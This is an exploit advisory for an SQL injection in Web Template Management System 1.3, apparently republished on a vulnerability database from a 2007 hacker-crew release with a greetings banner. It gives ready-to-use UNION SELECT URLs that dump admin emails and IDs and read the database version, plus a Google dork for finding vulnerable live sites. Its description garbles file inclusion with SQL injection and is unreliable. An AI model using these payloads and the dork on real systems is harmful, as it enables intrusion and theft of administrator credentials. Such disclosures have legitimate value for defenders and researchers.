Web Template Management System 1.3 Remote SQL Injection

🗓️ 06 Oct 2007 00:00:00Reported by RootType
Web Template Management System 1.3 Remote SQL Injection vulnerability found at id paramete

                                                #############################Nyubicrew&nbsp;Community################################
#
#&nbsp;&nbsp;deonixscripts&nbsp;(id)&nbsp;Remote&nbsp;Sql&nbsp;Injection
#
#&nbsp;&nbsp;vendor&nbsp;:&nbsp;http://www.deonixscripts.com/
#&nbsp;&nbsp;Demo&nbsp;:&nbsp;http://www.deonixscripts.com/demo/tplmgt13/
#
#################################################################################
#
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bug&nbsp;Found&nbsp;By&nbsp;:home_edition2001&nbsp;a.k.a&nbsp;(bius)&nbsp;(31-08-2007)
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;contact:&nbsp;[email protected]
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Website&nbsp;:&nbsp;www.solpotcrew.org/adv/home_edition2001-adv-03.txt
#
################################################################################
#
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Greetz:&nbsp;Nyubi&nbsp;aka&nbsp;solpot&nbsp;,&nbsp;Matdhule&nbsp;,&nbsp;S4M3K&nbsp;,[DEVIL_MAY_CRY]&nbsp;,&nbsp;iFX&nbsp;,&nbsp;Scr3W_W0rM&nbsp;,&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nakkuta&nbsp;,&nbsp;bukan-diriku&nbsp;,&nbsp;POET&nbsp;,&nbsp;Th0nk&nbsp;,&nbsp;mbako_semprul&nbsp;,&nbsp;Fungky&nbsp;,&nbsp;airsoul
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wong_edan&nbsp;,&nbsp;^s0n_g0ku^&nbsp;,&nbsp;aLiiF&nbsp;,&nbsp;sparta-x&nbsp;,&nbsp;dudut&nbsp;,&nbsp;xtremeshell&nbsp;,&nbsp;Bithedz
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;th3sn0wbr4in&nbsp;,&nbsp;ReAksi&nbsp;,&nbsp;X8&nbsp;,&nbsp;junkiest&nbsp;,&nbsp;K1tk4t&nbsp;,&nbsp;masboi&nbsp;,&nbsp;saritem
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x-ace&nbsp;,&nbsp;replacement_killer&nbsp;,&nbsp;LamerCrew&nbsp;,&nbsp;k1n9k0ng&nbsp;,[K]ompoR_Meledu[K]
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and&nbsp;all&nbsp;member&nbsp;#nyubicrew&nbsp;@&nbsp;irc.mildnet.org
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;especially&nbsp;thx&nbsp;to&nbsp;str0ke&nbsp;@&nbsp;milw0rm.com
#
###############################################################################
Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;id&quot;&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified
before&nbsp;being&nbsp;used&nbsp;to&nbsp;include&nbsp;files.&nbsp;This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;execute
arbitrary&nbsp;PHP&nbsp;code&nbsp;by&nbsp;Remote&nbsp;Sql&nbsp;Injection

P.O.C&nbsp;:

http://localhost/index.php?action=readmore&amp;id=-1%20union%20select%200,1,concat(email,0x3a,userid,0x3a,adminid),3%20from%20admin/*
http://localhost/index.php?action=readmore&amp;id=-1%20union%20select%200,1,@@version,3/*

Google&nbsp;Dork&nbsp;:&nbsp;Powered&nbsp;by:&nbsp;deonixscripts.com

######################MY&nbsp;Special&nbsp;Girl&nbsp;JUST&nbsp;FOR&nbsp;U&nbsp;Ula#########################
######################################E.O.F##################################
06 Oct 2007 00:00Current
7.1High risk
Vulners AI Score7.1